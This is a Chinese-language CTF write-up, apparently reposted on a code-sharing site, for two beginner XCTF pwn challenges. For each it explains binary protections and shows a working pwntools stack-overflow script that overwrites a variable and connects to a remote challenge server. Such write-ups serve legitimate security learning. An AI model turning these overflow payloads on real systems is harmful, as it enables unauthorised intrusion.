攻防世界-pwn-writeup


when_did_you_born-棧溢出

題目地址:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5051&page=1

題目描述:只要知道你的年齡就能獲得flag,但菜雞發現無論如何輸入都不正確,怎么辦

題目附件: 附件1

分析:

下載文件后,通過kali的命令行:file 查看文件多少位:image通過查看發現是64位,linux系統,linux在pwn題目出現最多。

查看文件有什么保護:命令checksec --file=when_did_you_born :image,發現Canary found金絲雀保護(棧)和堆的保護

運行下測試,輸入大量數據,發現疑似棧溢出漏洞

載入IDA分析,按兩次空格,進入匯編界面,難分析,按F5進行偽代碼顯示image,發現只要V5溢出到V6,且讓V6值為1926,即可繼續執行

編寫python代碼:

  1 #棧溢出漏洞
  2 from pwn import *
  3 
  4 context(os='linux',arch="amd64",log_level="debug")  #代表pwn是linux程序,64位操作系統,調試模式是debug
  5 content=1
  6 def main():
  7     if content==1:
  8         zw=process("when_did_you_born")     #運行本地程序
  9     else:
 10         zw=remote("220.249.52.133",50253)   #運行網絡程序
 11 
 12     payload=b'a'*(0x20-0x18)+p64(1926)      #構建payload攻擊溢出腳本,發送一個比特流數據,所以開始是b';(0x20-0x18)代表數據大小是這么大;p64帶代表64位字節流發送
 13 
 14     zw.recvuntil("What's Your Birth?\n")    #收到返回是這個字符串則執行下一行代碼
 15     zw.sendline("1900")                     #發送一條數據
 16 #   zw.sendlineafter("",)#執行到哪一條語句后發送
 17     zw.recvuntil ("What's Your Name?\n")
 18     zw.sendline (payload)
 19 
 20     zw.interactive()                        #接收數據,把收到的數據發送回來
 21 
 22 main()      #運行main函數

執行,發現image,正確,更改conent為網絡驗證獲得flag:image


hello_pwn-棧溢出

題目地址:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5052&page=1

題目描述:pwn!,segment fault!菜雞陷入了深思(segment fault 段錯誤各種原因一 造成segment fault,產生core dump的可能原因1.內存訪問越界)

題目附件:附件1

下載附件,使用命令檢測image,發現linux的64位程序,且沒有stack棧保護,只有NX堆保護,

資料:防護技術:

RELRO:在Linux系統安全領域數據可以寫的存儲區就會是攻擊的目標,尤其是存儲函數指針的區域,盡量減少可寫的存儲區域可使安全系數提高。GCC, GNU linker以及Glibc-dynamic linker一起配合實現了一種叫做relro的技術Relocation Read Only, 重定向只讀,實現就是由linker指定binary的一塊經過dynamic linker處理過 relocation之后的區域為只讀。(參考RELRO技術細節

Stack: 棧溢出檢查,用Canary金絲雀值是否變化來檢測,Canary found表示開啟。

金絲雀最早指的是礦工曾利用金絲雀來確認是否有氣體泄漏,如果金絲雀因為氣體泄漏而中毒死亡,可以給礦工預警。這里是一種緩沖區溢出攻擊緩解手段:啟用棧保護后,函數開始執行的時候會先往棧里插入cookie信息,當函數真正返回的時候會驗證cookie信息是否合法,如果不合法就停止程序運行。攻擊者在覆蓋返回地址的時候往往也會將cookie信息給覆蓋掉,導致棧保護檢查失敗而阻止shellcode的執行。在Linux將cookie信息稱為Canary。

NX: No Execute,棧不可執行,也就是windows上的DEP。

分析緩沖區溢出攻擊,其根源在於現代計算機對數據和代碼沒有明確區分這一先天缺陷,就目前來看重新去設計計算機體系結構基本上是不可能的,我們只能靠向前兼容的修補來減少溢出帶來的損害,DEP就是用來彌補計算機對數據和代碼混淆這一天然缺陷的。

DEP的基本原理是將數據所在內存頁標識為不可執行,當程序溢出成功轉入shellcode時,程序會嘗試在數據頁面上執行指令,此時CPU就會拋出異常,而不是去執行惡意指令。DEP的主要作用是阻止數據頁(如默認的堆頁、各種堆棧頁以及內存池頁)執行代碼。硬件DEP需要CPU的支持,AMD和Intel都為此做了設計,AMD稱之為No-Execute Page-Protection(NX),Intel稱之為Execute Disable Bit(XD)

Linux稱為 NX 與 DEP原理相同

PIE: position-independent executables, 位置無關的可執行文件,也就是常說的ASLR(Address space layout randomization) 地址隨機化,程序每次啟動基址都隨機。

將程序導入IDA進行分析,發現image,雙擊棧查看image,和上題目一樣,棧溢出即可

編寫代碼:

 1 #棧溢出漏洞
 2 from pwn import *
 3 
 4 context(os='linux',arch="amd64",log_level="debug")  #代表pwn是linux程序,64位操作系統,調試模式是debug
 5 content=0
 6 def main():
 7     if content==1:
 8         zw=process("hello_pwn")     #運行本地程序
 9     else:
 10         zw=remote("220.249.52.133",52836)   #運行網絡程序
 11 
 12     payload=b'a'*(0x6c-0x68)+p64(1853186401)      #構建payload攻擊溢出腳本,發送一個比特流數據,所以開始是b';(0x20-0x18)代表數據大小是這么大;p64帶代表64位字節流發送
 13 
 14 #     zw.recvuntil("What's Your Birth?\n")    #收到返回是這個字符串則執行下一行代碼
 15 #     zw.sendline("1900")                     #發送一條數據
 16 #     zw.sendlineafter("",)#執行到哪一條語句后發送
 17     zw.recvuntil ("lets get helloworld for bof\n")
 18     zw.sendline (payload)
 19 
 20     zw.interactive()                        #接收數據,把收到的數據發送回來
 21 
 22 main()      #運行main函數

執行py,獲得flagimage

level0


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM